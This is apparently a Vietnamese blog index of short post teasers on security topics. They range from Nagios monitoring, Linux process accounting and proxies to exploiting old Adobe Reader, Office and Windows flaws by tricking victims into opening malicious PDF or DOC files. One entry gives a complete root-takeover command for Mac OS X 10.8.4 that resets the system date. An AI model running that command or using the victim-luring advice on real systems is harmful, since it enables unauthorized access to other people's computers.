Xâm nhập vào máy tính khi máy tính này sử dụng Adobe Reader 9x

Các bạn tham khảo thêm lỗi này tại:

http://www.adobe.com/support/security/advisories/apsa11-04.html

Nguyên tắc khai thác lỗi ở đây khá đơn giản, bạn sẽ tạo ra một file mã độc có đuôi .pdf và gửi cho nạn nhân, làm thế nào để nạn nhân nhận được và mở file có chứa mã độc đó lên (các bạn có thể tạo một Webserver giả mạo, dụ nạn nhân tải file đó về hoặc có thể gửi kèm theo mail, quăng lên các mạng xã hội, các nơi tải file …) và máy nạn nhân đang sử dụng AdobeReader 9.x. máy nạn nhân sẽ bị “nhiễm độc”.

Xâm nhâp WindowsXP, Win7 qua lổ hỗng của Microsoft Office MS12-027

Các bạn tham khảo lỗi này tại:

http://technet.microsoft.com/en-us/security/bulletin/ms12-027

Nguyên tắc khai thác lỗi ở đây khá đơn giản, bạn sẽ tạo ra một file mã độc có đuôi .doc và gửi cho nạn nhân, làm thế nào để nạn nhân nhận được và mở file có chứa mã độc đó lên (các bạn có thể tạo một web server giả mạo, dụ nạn nhân tải file đó về hoặc có thể gửi kèm theo mail, …) máy nạn nhân đang sử dụng Microsoft Office 2007 (no-SP/SP1/SP2/SP3) trên Windows (XP SP3 / 7 SP1) English là máy nạn nhân sẽ bị “nhiễm độc”.

Lỗi nguy hiểm trong WinRAR

Đây là một lỗi rất nghiêm trọng và nguy hiểm trong WinRAR. Lỗi này cho phép những kẻ tấn công gửi một file thực thi (như .exe) có thể là Virus/Malware/Trojan trong file nén dạng .ZIP và khi chúng ta mở bằng WinRAR sẽ không thấy phần đuôi .exe mà bị ẩn dấu đi thay bằng đuôi mà kẻ tấn công muốn ta thấy (.jpg, .bmp…).

Extracting Company’s Data Using Web Data Extractor

Web Data Extractor is used to extract targeted company(s) contact details or data such as emails, fax, phone through web for responsible b2b communication.

Attackers liên tục tìm kiếm những cách đơn giản nhất để thu thập thông tin. Có rất nhiều công cụ có sẵn giúp những kẻ tấn công có thể trích xuất dữ liệu của công ty. Một khi đã có quyền truy cập vào database, họ có thể thu nhập các địa chỉ email của nhân viên, số điện thoại, các URLs nội bộ của công ty, etc, Với các thông tin thu thập được, họ có thể gửi thư rác (spam) tới nhân viên, hack vào website của công ty, và chỉnh sửa các URL nội bộ của công ty. Họ cũng có thể cài đặt virus độc hại để làm database của công ty không thể hoạt động được.

Firebug, HTTrack Web Site Copier

Bài viết sẽ hướng dẫn chúng ta sử dụng 2 tiện ích/công cụ: Firebug và HTTrack Web Site Copier

1.      Collecting Information About a target’s Website Using Firebug
2.      Mirroring Website Using HTTrack Web Site Copier Tool

SmartWhois, Path Analyzer Pro, eMailTrackerPro

Bài viết này sẽ hướng dẫn ta dùng 3 tiện ích/công cụ: SmartWhois,  Path Analyzer Pro, eMailTrackerPro.

1.      Analyzing Domain and IP Address Queries Using SmartWhois
2.      Network Route Trace Using Path Analyzer Pro
3.      Tracing Emails Using eMailTrackerPro Tool

Basic Network Troubleshooting Using the ping utility and nslookup Tool

Có rất nhiều tiện ích nhỏ, đơn giản để kiểm tra hệ thống mạng mà không phải ai cũng biết, bài viết này sẽ giới thiệu cho các bạn một số tiện ích cần thiết để kiểm tra hệ thống mạng như ping, tracert, nslookup.

Sử dụng Metasploit để khai thác lỗ hổng MS10-042 trên WindowsXP

Thông tin về lỗ hổng:

Bulletin ID	Tiêu đề	Mức độ cảnh báo	Ảnh hưởng	Yêu cầu khởi động lại	Phần mềm bị ảnh hưởng*
MS10-042	Lỗ hổng bảo mật trong “Help and Support Center” có thể cho phép thực hiện mã lệnh từ xa (2229593)	Nghiêm trọng	Thực hiện mã lệnh từ xa	Có thể yêu cầu khời động lại	Microsoft Windows XP và Windows Server 2003

Thông tin chi tiết:

Giám sát các máy tính Windows bằng Nagios

Các bước thực hiện:

1.      Các điều kiện cần thiết

2.      Cài đặt plugin NSClient++ trên máy Windows từ xa

3.      Tạo ra host mới và định nghĩa dịch vụ dành cho máy Windows cần theo dõi

4.      Khởi động lại Nagios daemon

Hướng dẫn cài đặt và cấu hình Nagios

Nagios là một phần mềm nguồn mở, Nagios cung cấp giám sát đầy đủ và cảnh báo cho các máy chủ, thiết bị chuyển mạch, các ứng dụng và dịch vụ.

Với Nagios ta có thể:

·         Kiểm tra toàn bộ cơ sở hạ tầng CNTT của bạn

·         Phát hiện vấn đề trước khi chúng xảy ra

·         Biết ngay khi có vấn đề phát sinh

·         Dữ liệu sẵn sàng chia sẻ với các bên liên quan

·         Phát hiện lỗ hổng bảo mật

·         Kế hoạch và ngân sách cho việc nâng cấp CNTT

·         Giảm thời gian chết và thiệt hại kinh doanh

Dò tìm dấu vết chỉnh sửa được thực hiện trên hệ thống Linux

Bạn muốn biết mọi lệnh do người dùng thực thi với thời gian sử dụng CPU và bộ nhớ, chương trình xử lý accounting sẽ cho phép ta làm được điều này. Nhờ chương trình này, người quản trị sẽ luôn tìm ra được mọi lệnh thực thi ở bất kỳ thời gian nào. Một số người khá thông minh, loại bỏ file history (như: ~/.bash_history) hòng tránh bị phát hiện. Nhưng bạn vẫn hoàn toàn có thể giám sát tất cả lệnh thực thi của người dùng bằng cách kiểm soát hoạt động người dùng sử dụng chương trình xử lý accounting.

Gói xử lý accounting gồm một số tiện ích giám sát các hoạt động chương trình như ac, lastcomm, accton và sa.

• Câu lệnh "ac" thể hiện lượng thời gian người dùng đăng nhập hệ thống.

• Câu lệnh "lastcomm" cho biết thông tin của các lệnh thực thi trước đó.

• Câu lệnh "accton" bật tắt chương trình xử lý accounting.

• Câu lệnh "sa" tóm tắt thông tin về các lệnh được thực thi trước đó.

Nói lời vĩnh biệt với Trojan!

Mình có sưu tầm được 1 bài viết rất hay, tuy đã lâu nhưng kiến thức còn rất bổ ích, hi vọng bài viết sẽ giúp các bạn hiểu rõ hơn về Trojan!.

Trojan được Hackers "thả" vào máy hoặc hệ thống của nạn nhân, để thưc hiện các nhiệm vụ chủ yếu sau:

Fake IP

Fake IP là gì? Fake IP là việc truy cập vào các Website (các nguồn tài nguyên trên Web) gián tiếp thông qua một Proxy Server (Máy chủ Proxy).

Proxy Server là gì? Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client . Cả hai Client và Server nghĩ rằng chúng nói chuyện trực tiếp với nhau nhưng thực sự chỉ "nói chuyện" thông qua Proxy.

Chiếm quyền root của máy Mac

Bạn đang ở user bình thường, giờ bạn muốn có quyền root mà không biết pass, bạn có thể dễ dàng chiếm quyền root của máy Mac (tương đương quyền Admininistrator của Windows) trên Mac OS X bản cập nhật mới nhất 10.8.4, chỉ bằng việc chỉnh thời gian hệ thống về 0 giờ ngày 01/01/1970.

Exploit command:

sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

Sưu tầm!.

Sử dụng Metasploit để khai thác lỗ hổng ms08_067 trên Windows XP SP3

      Mô hình sử dụng:

Crack Candy Crush Saga bằng Cheat Engine

Download Cheat Engine tại địa chỉ:

http://www.cheatengine.org/download.php

Thay đổi địa chỉ MAC trong Windows, Linux và Mac OS

Khái niệm địa chỉ MAC xem tại:

http://nvkhoiit.blogspot.com/2013/07/khai-niem-ia-chi-mac-media-access.html

Một số người cho rằng địa chỉ MAC được gắn cứng với adapter mạng nên chúng ta không thể thay đổi nó. Tuy nhiên trong thực tế vẫn có cách để giả mạo địa chỉ MAC, về cơ bản là làm cho địa chỉ của adapter (card mạng) giống như một địa chỉ khác.

Mục đích của việc thay đổi địa chỉ MAC: